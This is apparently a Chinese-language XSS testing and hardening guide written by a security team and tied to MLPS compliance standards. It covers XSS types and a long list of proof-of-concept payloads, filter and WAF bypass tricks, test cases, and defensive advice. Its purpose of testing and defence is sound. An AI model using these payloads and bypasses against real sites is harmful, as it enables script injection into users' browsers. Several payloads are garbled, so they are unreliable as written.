XSS跨站指令碼攻擊

語言: CN / TW / HK

0x01 等保測評項

GBT 22239-2019《資訊保安技術 網路安全等級保護基本要求》中,8.1.4.4安全計算環境—入侵防範項中要求包括:

a)應遵循最小安裝的原則,僅安裝需要的元件和應用程式;

b)應關閉不需要的系統服務、預設共享和高危埠;

c)應通過設定終端接入方式或網路地址範圍對通過網路進行管理的管理終端進行限制;

d)應提供資料有效性檢驗功能,保證通過人機介面輸入或通過通訊介面輸入的內容符合系統設定要求;

e)應能發現可能存在的已知漏洞,並在經過充分測試評估後,及時修補漏洞;

f)應能夠檢測到對重要節點進行入侵的行為,並在發生嚴重入侵事件時提供報警。

XSS跨站指令碼攻擊對應訪問控制項中要求d),所以安全控制點為 入侵防範d

GBT 28448-2019《資訊保安技術 網路安全等級保護測評要求》中,測評單元( L3-CES1-20) ,該項測評單元包括以下要求:

a)測評指標:應提供資料有效性檢驗功能,保證通過人機介面輸入或通過通訊介面輸入的內容符合系統設定要求。

b)測評物件:業務應用系統、中介軟體和系統管理軟體及系統設計文件等。

c)測評實施包括以下內容:

1)應核查系統設計文件的內容是否包括資料有效性檢驗功能的內容或者模組;

2)應測試驗證是否對人機介面或通訊介面輸入的內容進行有效性檢驗。

d)單元判定:如果1)和2)均為肯定,則符合本測評單元指標要求,否則不符合或部分符合本測評單元指標要求。

XSS跨站指令碼攻擊屬於測評單元(L3-CES1-20)中測評實施第2項,故測評單元為 L3-CES1-20.2

0x02 測試內容

通過構造的payload測試系統網站是否存在XSS漏洞。

0x03 漏洞原理

原理

XSS全稱跨站指令碼(Cross Site Scripting),為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。這是一種將任意 Javascript 程式碼插入到其他Web使用者頁面中執行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態展示資料功能,在HTML頁面裡嵌入惡意程式碼。當用戶瀏覽該頁時,這些潛入在HTML中的惡意程式碼會被執行,使用者瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的,如 cookie竊取等。

XSS屬於程式碼注入的一種,它允許攻擊者將程式碼注入到網頁,其他使用者在瀏覽網頁時就會受到影響。

分類

  1. 反射型:

又稱非持久型XSS,這種攻擊屬於一次性攻擊,只是簡單的把使用者輸入的資料“反射”給瀏覽器。惡意程式碼一般存放於連結當中,攻擊者將包含XSS程式碼的惡意連結傳送給目標使用者,當目標使用者訪問該連結時,伺服器接受該目標使用者的請求並進行處理,然後伺服器把帶有XSS程式碼的資料傳送給目標使用者的瀏覽器,瀏覽器解析這段帶有XSS程式碼的惡意指令碼後,就會觸發XSS,也就是說攻擊者往往需要誘使使用者點選惡意連結才能攻擊成功。

常見的注入點:網站的搜尋欄、使用者登入入口、輸入表單等地方。常用來竊取客戶端Cookie或釣魚欺騙。

產生的原因一般是網站只是簡單的將使用者輸入的資料直接或未經過完善的安全過濾就在瀏覽器中輸入,導致輸出的資料中存在可被瀏覽器執行的程式碼資料。

  1. 儲存型:

又稱持久型XSS,比反射型XSS更具有威脅性,攻擊指令碼會永久的儲存在目標伺服器的資料庫或檔案中,具有一定的隱蔽性。這種攻擊方式多見於論壇、部落格和留言板,攻擊者在發帖的過程中,將惡意指令碼與正常資訊一起注入到留言中,隨著留言被伺服器儲存下來,惡意指令碼也被儲存到儲存器中。當其他使用者瀏覽這個被注入惡意指令碼的留言時,惡意指令碼就會在使用者的瀏覽器被執行。儲存型XSS能將惡意程式碼永久的嵌入頁面中,所有訪問這個頁面的用具都將成為受害者。

常見注入點:論壇、部落格、留言板、網站的留言、評論、日誌等互動處。

造成漏洞原因一般是由於Web應用程式對使用者輸入資料的不嚴格,導致Web應用程式將黑客輸入的惡意跨站攻擊資料資訊儲存在服務端的資料庫或其他檔案形式中。

  1. DOM型

DoM是文件物件模型( Document Object Model)的縮寫。它是HTML文件的物件表示,同時也是外部內容(例如 JavaScript)與HTML元素之間的介面。解析樹的根節點是“ Document"物件。DOM( Document object model),使用DOM能夠使程式和指令碼能夠動態訪問和更新文件的內容、結構和樣式。

DOM型的XSS是通過修改頁面DOM節點資料資訊而形成的XSS跨站指令碼攻擊。不同於反射型XSS和儲存型XSS,基於DOM的XSS跨站指令碼攻擊往往需要針對具體的 Javascript DOM程式碼進行分析,並根據實際情況進行XSS跨站指令碼攻擊的利用。

並且DOM型XSS是基於JS上的,並不需要與伺服器進行互動,它只發生在客戶端處理資料的階段。當用戶請求一個包含XSS惡意程式碼的URL,伺服器的響應不會以任何形式包含攻擊者的指令碼,當用戶的瀏覽器處理這個響應時,DOM物件就會處理XSS程式碼。

造成漏洞的原因:這是一種基於DOM的跨站,這是客戶端指令碼本身解析不正確導致的安全問題。

常見注入點:通過js指令碼對文件物件進行編輯,從而修改頁面的元素。也就是說,客戶端的指令碼程式可以DOM動態修改頁面的內容,從客戶端獲取DOM中的資料並在本地執行。由於DOM是在客戶端修改節點的,所以基於DOM型的XSS漏洞不需要與伺服器端互動,它只發生在客戶端處理資料的階段

反射型XSS與DOM型區別:

  1. 反射型XSS攻擊中,伺服器在返回HTML文件的時候,就已經包含了惡意的指令碼;

  2. DOM型ⅩSS攻擊中,伺服器在返回HTML文件的時候,是不包含惡意指令碼的;惡意指令碼是在其執行了非惡意指令碼後,被注入到文件裡的。

通過JS指令碼對文件物件進行編輯,從而修改頁面的元素。也就是說,客戶端的指令碼程式可以DOM動態修改頁面的內容,從客戶端獲取DOM中的資料並在本地執行。由於DOM是在客戶端修改節點的,所以基於DOM型的XSS漏洞不需要與伺服器端互動,它只發生在客戶端處理資料的階段。

  1. MXSS

不論是伺服器端或客戶端的XSS過濾器,都認定過濾後的HTM原始碼應該與瀏覽器所渲染後的HTML程式碼保持一致,至少不會出現很大的出入。

然而,如果使用者所提供的富文字內容通過 Javascript 程式碼進屬性後,一些意外的變化會使得這個認定不再成立:一串看似沒有任何危害的HTML程式碼,將逃過XSS過濾器的檢測,最終進入某個DOM節點中,瀏覽器的渲染引擎會將本來沒有任何危害的HTML程式碼渲染成具有潛在危險的XSS攻擊程式碼。

隨後,該段攻擊程式碼,可能會被JS程式碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染,從而導致XSS的執行。這種由於HTML內容進入後發生意外變化( mutation,突變,來自遺傳學的一個單詞,大家都知道的基因突變,gene mutation),而最終導致XXS的攻擊流程,被稱為 突變XSS (mXSs, Mutation based Cross-Site-Scripting

  1. UXSS

UXSS全稱Universal Cross-Site Scripting,翻譯過來就是 通用型XSS ,也叫Universal XSS。UXSS保留了基本XSS的特點,利用漏洞,執行惡意程式碼,但是有一個重要的區別:不同於常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴充套件漏洞來製造產生XSS的條件並執行程式碼的一種攻擊型別。

通俗的說,就是原來我們進行XSS攻擊等都是針對Web應用本身,是因為Web應用本身存在漏洞才能被我們利用攻擊;而UXSS不同的是通過瀏覽器或者瀏覽器擴充套件的漏洞來”製作ⅩSS漏洞”,然後剩下的我們就可以像普通XSS那樣利用攻擊了。

不同於常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴充套件漏洞來製造產生XSS的條件並執行程式碼的一種攻擊型別。UXSS是一種利用瀏覽器或者瀏覽器擴充套件漏洞來製造產生XSS的條件並執行程式碼的一種攻擊型別。UXSS 可以理解為Bypass 同源策略。

常見漏洞點

  1. 資料互動的地方

GET、POST、Cookies、headers

反饋與瀏覽

富文字編輯器

各類標籤插入和自定義

  1. 資料輸入的地方

使用者資料

關鍵詞、標籤、說明

檔案上傳

0x04 程式碼示例

此段程式碼中第170行、305行獲取請求引數中的groupId值,在未經檢查引數合法性的情況下輸出在javascript程式碼中,造成反射型XSS漏洞。

0x05 限制繞過

常見標籤

<script>alert(1)</script>

  1. <img>標籤

<imgsrc=javascript:alert( "xss" )>

<IMGSRC=javascript:alert( String .formCharCode( 88 , 83 , 83 ))>

<imgscr= "URL" style= 'Xss:expression(alert(/xss));'

<imgsrc= "x" onerror=alert( 1 )>

<imgsrc= "1" onerror= eval ( "alert('xss')" )>

<imgsrc= 1 onmouseover=alert( 'xss' )>

  1. <a>標籤

標準格式

<ahref="https://www.baidu.com">baidu</a>

< ahref="javascript:alert('xss')" > aa </ a >

< ahref=javascript:eval(alert('xss')) > aa </ a >

< ahref="javascript:aaa"onmouseover="alert( / xss /)"> aa </ a >

< ahref=""onclick=eval(alert('xss')) > aa </ a >

< ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016 > aa </ a >

  1. <input>標籤

<inputvalue= "" onclick=alert( 'xss' )type= "text" >

<inputname= "name" value = "" onmouseover=prompt( 'xss' )bad= "" >

<inputname= "name" value = "" ><script>alert( 'xss' )</script>

  1. <form>標籤

<formaction=javascript:alert( 'xss' )method= "get" >

<formaction=javascript:alert( 'xss' )>

<formmethod=postaction=aa.asp?onmouseover=prompt( 'xss' )>

<formmethod=postaction=aa.asp?onmouseover=alert( 'xss' )>

<formaction=1onmouseover=alert( 'xss)>

<formmethod=postaction="data:text/html;base64,<script>alert(' xss ')</script>">

<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

  1. <iframe>標籤

<iframesrc=javascript:alert( 'xss' );height=5width=1000/><iframe>

<iframesrc= "data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;" ></iframe>

<iframesrc= "data:text/html;base64,<script>alert('xss')</script>" >

<iframesrc= "data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=" >

<iframesrc= "aaa" onmouseover=alert( 'xss' )/><iframe>

<iframesrc= "javascript&colon;prompt&lpar;xss&rpar;" ></iframe>

  1. <svg>標籤

<svgonload=alert(1)>
  1. CSS

<img STYLE="background-image:url(javascript:alert('XSS'))">

限制繞過

實際應用中web程式往往會通過一些過濾規則來防止代有惡意程式碼的使用者輸入被顯示。當上述程式碼(常見標籤中的程式碼)被注入到輸入框或者URL引數中時,可能會成功也可能會失敗,如果失敗了,並不意味著網站不存在XSS漏洞,需要對其進行繞過等方式發掘安全漏洞。這裡,給大家總結一些XSS繞過方法。

閉合標籤

  1. 常規閉合,通 過各種方式,閉合前面的語句。

function escape ( input ) {

// warm up

// script should be executed without user interaction

return '<input type="text" value="' + input + '">' ;

}

"><script>alert(1);script>
  1. 雙寫半開括號

function escape ( input ) {

// tags stripping mechanism from ExtJS library

// Ext.util.Format.stripTags

var stripTagsRE = /<\/?[^>]+>/gi ;

input = input.replace(stripTagsRE, '' );

return '<article>' + input + '</article>' ;

}

以上程式碼中正則會處理尖括號和尖括號中的內容,將其替換成空。 所以可以 使用雙寫半開括號"<<"繞過:

<img src=1 onerror="prompt(1)"<
  1. 反引號+編碼

function escape ( input ) {

// v-- frowny face

input = input.replace( /[=(]/g , '' );

// ok seriously, disallows equal signs and open parenthesis

return input;

}

以上程式碼對等號 和左括號進行過濾,所以使用反引號代替括號,在通過編碼解決。

<script>setTimeoutprompt\u00281\u0029;</script>
  1. 閉合註釋

function escape ( input ) {

// filter potential comment end delimiters

input = input.replace( /->/g , '_' );

// comment the input to avoid script execution

return '<!-- ' + input + ' -->' ;

}

以上程式碼將輸出的內容放在註釋中,且對->做了替換處理。 所以 html可以–>或–!>閉合註釋

--!><script>prompt(1)</script>
  1. 閉合大部分的標籤

*/-->'");>iframe>script>style>title>textarea><a>aa>#*/-->'");>iframe>script>style>title>textarea><iframe >
  1. 寬字元閉合

*/-->%cf"%d5'>frame>script>style>title>textarea>
  1. 回車換行

很多時候,回車換行能繞過很多的限制

%0D%0A

標籤檢測繞過

fuzz各種標籤,檢查是否存在攔截或者過濾

  1. 針對黑名單

  1. 大小寫混寫 <ScRipt>ALeRt("XSS");sCRipT>

  2. 雙寫繞過 <scscriptript>alert(1)</scriscriptpt>

  3. 巢狀繞過 ript>alert(/xss/);script>alert(/xss/);script>

  4. 空字元繞過 ,09ipt>ALeRt(/XSS/);sCRipT>

  5. 特殊字元黑名單,採用其他字元代替,如:

限制 " 符號,輸入 < img src = 1 onclick = alert( ' 1 ')>

限制 ' 符號,輸入 < img src = 1 onclick = alert(/1/) > < img src = 1 onclick = "alert(1)" >

限制 () 符號,輸入 < img src = 1 onclick = "alert `'1'`" >

限制 () ' " 符號,輸入 < img src = 1 onclick = alert ` 1 `>

或使用實體編碼繞過。

  1. 繞過字元長度限制

  1. 利用事件 縮短長度,如,“onclick=alert(1)//”

  2. 使用base標籤 base標籤可以運用於頁面的任何地方,且作用於之後的所有標籤。通過在頁面插入base標籤,就可以在遠端伺服器偽造圖片,連結或指令碼,劫持頁面的相對路徑的標籤。

  3. 對window.name賦值 ,沒有特殊的字元限制。因為window物件是瀏覽器的窗體,而不是document物件。因此很多時候window物件不受同源策略的限制。可以用這個實現跨域,跨介面的傳遞。

3. 編碼繞過

Javascript的編碼

十六進位制

Unicode

URL編碼

JS編碼

HTML實體編碼

線上編碼/解碼工具:站長工具-編碼解碼線上、107000工具站、線上jsons字元實體轉換、線上HTML字元實體轉換

4. 使用其他標籤 <a> <href> <img> 等;

5. 使用空字元, 在關鍵詞中新增空字元;

6. 使用轉義字元;

常規Waf繞過思路

[ + ] 標籤語法替換

[ + ] 特殊符號干擾 比如 / #

[ + ] 提交方式更改 Request的前提下,Waf只檢查URL內容而不檢查POST內容

[ + ] 垃圾資料溢位

[ + ] 加密解密演算法

[ + ] 結合其他漏洞繞過

XSS自動化工具

Xwaf,下載地址:github.com/ 3 xp10it/xwaf

XSStrike,下載地址:github.com/s0md3v/XSStr

Fuzzing測試:

線上生成Fuzzing字典:https: //xssfuzzer.com/fuzzer.html

Fuzzing字典:https: //github.com/TheKingOfDuck/fuzzDicts

0x06 測試過程

反射型XSS、DOM型XSS

  1. 驗證測試情況

在網站的搜尋欄、使用者登入入口、輸入表單等處輸入payload,檢視頁面是否有彈框,則存在反射型XSS漏洞;

  1. 現實攻擊情況

攻擊者尋找具有XSS漏洞的網站,植入payload構造惡意連結,將惡意連結發給使用者,誘騙使用者點選,使用者點選此連結,XSS攻擊執行。

儲存型XSS

  1. 驗證測試情況

在論壇、部落格、留言板、網站的留言、評論、日誌等互動處輸入payload,檢視頁面是否有彈框。若有,先切換至網站其他頁面,再返回輸入payload的頁面,若依舊出現彈窗,則存在儲存型XSS漏洞。

  1. 現實攻擊情況

攻擊者在發帖或留言的過程中,將惡意指令碼連同正常資訊一起注入到釋出內容中。隨著釋出內容被伺服器儲存下來,惡意指令碼也將永久的存放到伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了

惡意指令碼的帖子時,惡意指令碼就會在使用者的瀏覽器中得到執行。

常用payload:

< script > alert(1) </ script > // 呼叫JavaScript語句

< img src = x onerror = alert(1) > // src是錯誤的 就會呼叫error函式

< a href = javascript:alert(1) > // 點選a即可觸發

< svg onload = alert(1) > // 使用svg標籤

測試案例1

在機構名稱處輸入測試程式碼 <script>alert(1)</script> ,頁面出現彈窗,證明XSS語句已被執行,此網站存在XSS漏洞。

測試案例2

在標題處處輸入測試程式碼 <script>alert(/XSS/)</script> ,頁面出現彈窗,點選別的功能模組後再次返回此頁面,依舊彈窗,所以此網站存在 儲存型XSS漏洞

測試案例3

xss挑戰之旅

  1. 訪問網頁,開啟瀏覽器的開發者工具,檢視到程式碼中對 尖括號和雙引號: > < " 進行了過濾,但沒有過濾 ' (單引號)。

  1. 所以,此處嘗試js語句, ' onmouseover=alert(666)// ' onfocus=javascript:alert(1) ' 進行測試,但是程式碼中帶有的剩餘字元無法閉合,所以使用 // 進行註釋,最終實現XSS彈窗。

0x07 風險分析

攻擊者通過Web應用程式傳送惡意程式碼,一般以瀏覽器指令碼的形式傳送給不同的終端使用者。 WEB程式程式碼中把使用者提交的引數未做過濾或過濾不嚴就直接輸出到頁面,引數中的特殊字元打破了HTML頁面的原有邏輯,攻擊者就可以利用該漏洞執行惡意以下操作

  1. 網路釣魚,包括獲取各類使用者賬號;

  2. 竊取使用者cookies資料,從而獲取使用者隱私資訊,或利用使用者身份進一步對網站執行操作;

  3. 劫持使用者(瀏覽器)會話,從而執行任意操作,例如非法轉賬、強制發表日誌、電子郵件等;

  4. 強制彈出廣告頁面、刷流量等;

  5. 網頁掛馬;

  6. 進行惡意操作,如任意篡改頁面資訊、刪除文章等;

  7. 進行大量的客戶端攻擊,如ddos等;

  8. 獲取客戶端資訊,如使用者的瀏覽歷史、真實p、開放埠等;

  9. 控制受害者機器向其他網站發起攻擊;

  10. 結合其他漏洞,如csrf,實施進步危害;

  11. 提升使用者許可權,包括進一步滲透網站;

  12. 傳播跨站指令碼蠕蟲等。

0x08 加固建議

形成XSS漏洞的主要原因是程式對輸入和輸出的控制不夠嚴格,導致“精心構造”的指令碼輸入後,在輸到前端時被瀏覽器當作有效程式碼解析執行從而產生危害。

因此在XSS漏洞的防範上,一般會採用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理。

輸入過濾 :對輸入進行過濾,不允許可能導致XSS攻擊的字元輸入;

輸出轉義 :根據輸出點的位置對輸出到前端的內容進行適當轉義;

輸入檢查

輸入檢查的邏輯必須放在伺服器端程式碼中實現,如果只是在客戶端使用Javascript進行輸入檢查,很容被繞過。目前Web開發的普遍做法是同時在客戶端Javascript中和伺服器端程式碼中實現相同的輸入檢查。客戶端JavaScript的輸入檢查,可以阻擋大部分誤操作的正常使用者,而節約伺服器資源。

檢查內容:

a. 檢查特殊字元,如<、>、'、"等,如果發現存在特殊字元,則將其過濾或者編碼;

b. XSS Filter,會檢查XSS特徵的敏感字元,如<script>、javascript等敏感字元;

c. 字串是否超過最大長度限制;

d. 數字是否在指定的範圍;

e. 是否符合特殊格式的要求

輸出檢查

一般而言,除了富文字的輸出外,在變數輸出到HTML頁面時,可以使用編碼或轉譯的方式防禦XSS攻擊。

使用安全的編碼函式:

  1. HtmlEncode編碼方式,針對HTML程式碼;

  2. JavascriptEncode編碼方式,針對JavaScript;

  3. htmlentities()、htmlspecialchars()函式,針對PHP;

  4. XMLEncode、JSONEncode等。

處理富文字

  1. 在過濾富文字時,“事件”應被嚴格禁止,因為富文字的展示需求裡不應該包括“事件”這種動態效果;

  2. 在標籤的選擇上,應該使用白名單,避免使用黑名單。白名單同樣也應用於屬性與事件的選擇;

  3. 儘可能禁止使用者自定義CSS與style;

防禦DOM型XSS

DOM型XSS是一種比較特別的XSS漏洞,以上防禦方法不太適用,需要特別對待。

從JavaScript輸出到HTML頁面,也相當於一次XSS輸出的過程,所以需要分語境使用不同的編碼函式。

其他加固方式

  1. Anti_XSS

微軟開發的,.NET平臺下的,用於防止XSS攻擊的類庫,它提供了大量的編碼函式來對使用者輸入的資料進行編碼,可以實現基於白名單的輸入的過濾和輸出的編碼。

  1. HttpOnly Cookie

當Cookie在訊息頭中被設定為HttpOnly時,這樣支援Cookie的瀏覽器將阻止客戶端Javascript直接訪問瀏覽器中的Cookies,從而達到保護敏感資料的作用。

  1. Noscript

Noscript是一款免費的開源外掛,該外掛預設禁止所有的指令碼,但可以自定義設定允許通過的指令碼。

  1. WAF

使用WAF,比如軟體WAF、硬體WAF、雲WAF。

在修補XSS漏洞時遇到最大挑戰之一就是漏洞數量太多,因此開發者可能來不及也不情願修補這些漏洞,從業務風險的角度來重新定位每個XSS漏洞,就具有了重要的意義。理論上講,XSS漏洞雖然複雜,但是卻是可以徹底解決的,在設計XSS解決方案時,應該深入理解XSS攻擊的原理,針對不同的場景使用不同的方法。同時也可以參考很多的開源專案。

參考

https: / /baijiahao.baidu.com/s ?id= 1711691365751381912 &wfr=spider& for =pc

https: / /www.jianshu.com/p /63823aabb99d

Tide安全團隊正式成立於2019年1月,是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室。 團隊公眾號自建立以來,共釋出原創文章370餘篇,自研平臺達到26個,目有15個平臺已開源。此外積極參加各類線上、線下CTF比賽並取得了優異的成績。如有對安全行業感興趣的小夥伴可以踴躍加入或關注我們